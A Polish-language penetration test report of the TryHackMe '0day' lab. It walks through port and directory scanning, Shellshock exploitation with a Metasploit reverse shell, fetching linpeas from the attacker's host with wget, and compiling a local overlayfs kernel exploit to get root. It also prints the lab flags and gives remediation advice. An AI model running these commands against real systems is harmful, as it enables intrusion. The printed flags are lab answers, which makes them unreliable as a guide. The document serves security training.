Nazwa aplikacji: **0day**

Adres www: https://tryhackme.com/room/0day

IP Address: **10.10.161.247**

Data pentestu: **2023-02-05 15:00 - 2023-02-07 08:00**

Michał Lissowski michallissowski@gmail.com

Maciej Chmielewski chmieluzg@gmail.com

Andrzej Kuchar andrzejkucharr@gmail.com

Rekonesans

Sprawdzenie ping

$ ping $IP

PING 10.10.162.162 (10.10.161.247) 56(84) bytes of data.
64 bytes from 10.10.161.247: icmp_seq=1 ttl=63 time=84.0 ms

Skanowanie otwartych portów

└─$ nmap 10.10.161.247 -p-

Starting Nmap 7.93 (https://nmap.org) at 2023-02-06 06:02 EST
Nmap scan report for 10.10.161.247
Host is up (0.040s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

└─$ nmap 10.10.161.247 -p22,80 -A

Starting Nmap 7.93 (https://nmap.org) at 2023-02-06 06:03 EST
Nmap scan report for 10.10.161.247
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 5720823c62aa8f4223c0b893996f499c (DSA)
| 2048 4c40db32640d110cef4fb85b739bc76b (RSA)
| 256 f76f78d58352a64dda213c5547b72d6d (ECDSA)

|_ 256 a5b4f084b6a78deb0a9d3e7437336516 (ED25519)
80/tcp open http   Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0day
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

IP Address	**Ports Open**
10.10.161.247	**TCP**: 22, 80

Skanowanie stron gobuster

└─$ gobuster dir -u http://10.10.161.247 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

Znaleziono:

===
Gobuster v3.2.0-dev
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url: http://10.10.161.247
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.2.0-dev
[+] Timeout: 10s
===
2023/02/06 06:07:19 Starting gobuster in directory enumeration mode
===
/cgi-bin (Status: 301) [Size: 315] [--> http://10.10.161.247/cgi-bin/]
/img (Status: 301) [Size: 311] [--> http://10.10.161.247/img/]
/uploads (Status: 301) [Size: 315] [--> http://10.10.161.247/uploads/]
/admin (Status: 301) [Size: 313] [--> http://10.10.161.247/admin/]
/css (Status: 301) [Size: 311] [--> http://10.10.161.247/css/]
/js (Status: 301) [Size: 310] [--> http://10.10.161.247/js/]
/backup (Status: 301) [Size: 314] [--> http://10.10.161.247/backup/]
/secret (Status: 301) [Size: 314] [--> http://10.10.161.247/secret/]

Skanowanie podatności nikto

└─$ nikto -h 10.10.161.247

- Nikto v2.1.6

+ Target IP: 10.10.161.247
+ Target Hostname: 10.10.161.247
+ Target Port: 80
+ Start Time: 2023-02-06 06:10:52 (GMT-5)

+ Server: Apache/2.4.7 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Server may leak inodes via ETags, header found with file /, inode: bd1, size: 5ae57bb9a1192, mtime: gzip
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Uncommon header '93e4r0-cve-2014-6278' found, with contents: true
+ OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /backup/: This might be interesting...
+ OSVDB-3268: /css/: Directory indexing found.
+ OSVDB-3092: /css/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3092: /secret/: This might be interesting...
+ OSVDB-3092: /cgi-bin/test.cgi: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ /admin/index.html: Admin login page/section found.

Znaleziono podatność:

+ OSVDB-112004: /cgi-bin/test.cgi: Site appears vulnerable to the 'shellshock' vulnerability (http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271).

Explotation, Initial Access

Uruchomienie metasploit i wyszukanie exploita

msf6 > search shellshock

Matching Modules
==========

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/linux/http/advantech_switch_bash_env_exec	2015-12-01	excellent	Yes	Advantech Switch Bash Environment Variable Code Injection (Shellshock)
1	exploit/multi/http/apache_mod_cgi_bash_env_exec	2014-09-24	excellent	Yes	Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)

2 auxiliary/scanner/http/apache_mod_cgi_bash_env 2014-09-24 normal Yes Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
3 exploit/multi/http/cups_bash_env_exec 2014-09-24 excellent Yes CUPS Filter Bash Environment Variable Code Injection (Shellshock)
4 auxiliary/server/dhclient_bash_env 2014-09-24 normal No DHCP Client Bash Environment Variable Code Injection (Shellshock)
5 exploit/unix/dhcp/bash_environment 2014-09-24 excellent No Dhclient Bash Environment Variable Injection (Shellshock)
6 exploit/linux/http/ipfire_bashbug_exec 2014-09-29 excellent Yes IPFire Bash Environment Variable Injection (Shellshock)
7 exploit/multi/misc/legend_bot_exec 2015-04-27 excellent Yes Legend Perl IRC Bot Remote Code Execution
8 exploit/osx/local/vmware_bash_function_root 2014-09-24 normal Yes OS X VMWare Fusion Privilege Escalation via Bash Environment Code Injection (Shellshock)
9 exploit/multi/ftp/pureftpd_bash_env_exec 2014-09-24 excellent Yes Pure-FTPd External Authentication Bash Environment Variable Code Injection (Shellshock)
10 exploit/unix/smtp/qmail_bash_env_exec 2014-09-24 normal No Qmail SMTP Bash Environment Variable Injection (Shellshock)
11 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution

Wybranie exploita i ustawienie parametrów

msf6 > use 1

msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set rhosts 10.10.161.247
rhosts => 10.10.161.247
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set lhost 10.9.8.70
lhost => 10.9.8.70
msf6 exploit(multi/http/apache_mod_cgi_bash_env_exec) > set targeturi /cgi-bin/test.cgi
targeturi => /cgi-bin/test.cgi

Uruchomienie exploita i ulepszenie shella

meterpreter > shell
Process 993 created.
Channel 1 created.

python -c 'import pty; pty.spawn("/bin/bash")'

Zdobycie flagi użytkownika

www-data@ubuntu:/home/ryan$ cat user.txt
cat user.txt
THM{Sh3llSh0ck_r0ckz}

Privilege Escalation

Wgranie linux-peas na serwer i uruchomienie

wget http://10.9.8.70:8000/linux-peas.sh
./linux-peas.sh
OS: Linux version 3.13.0-32-generic (buildd@kissel) (gcc version 4.8.2 (Ubuntu 4.8.2-19ubuntu1))
#57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014

Znaleziono podatność na exploita https://www.exploit-db.com/exploits/37292 . Pobrano i przesłano go na serwer www oraz skompilowano.

2023-02-06 04:22:57 (9.79 MB/s) - 'script.c' saved [4969/4969]
www-data@ubuntu:/tmp$ gcc script.c -o ./root
gcc script.c -o ./root
 # id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Zdobycie flagi root

cat root.txt
THM{g00d_j0b_0day_is_Pleased}

Błedy i propozycję naprawy

1. Luka Shellshock (CVE-2014-6271) to poważna luka w Bash w systemie Linux. Luka występuje w GNU Bash 1.14-4.3 Zalecana aktualizaja do najnowszej, stabilnej wersji.

   https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-6271

   Ważność: KRYTYCZNA

2. Implementacja overlayfs w pakiecie linux (aka Linux kernel) przed 3.19.0-21.21 w Ubuntu do 15.04 nie sprawdza poprawnie uprawnień do tworzenia plików w górnym katalogu systemu plików, co pozwala lokalnym użytkownikom uzyskać dostęp roota poprzez wykorzystanie konfiguracji, w której overlayfs jest dozwolone w dowolnej przestrzeni nazw montowania. Zalecana aktualizaja do najnowszej, stabilnej wersji.

   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-1328

   Ważność: KRYTYCZNA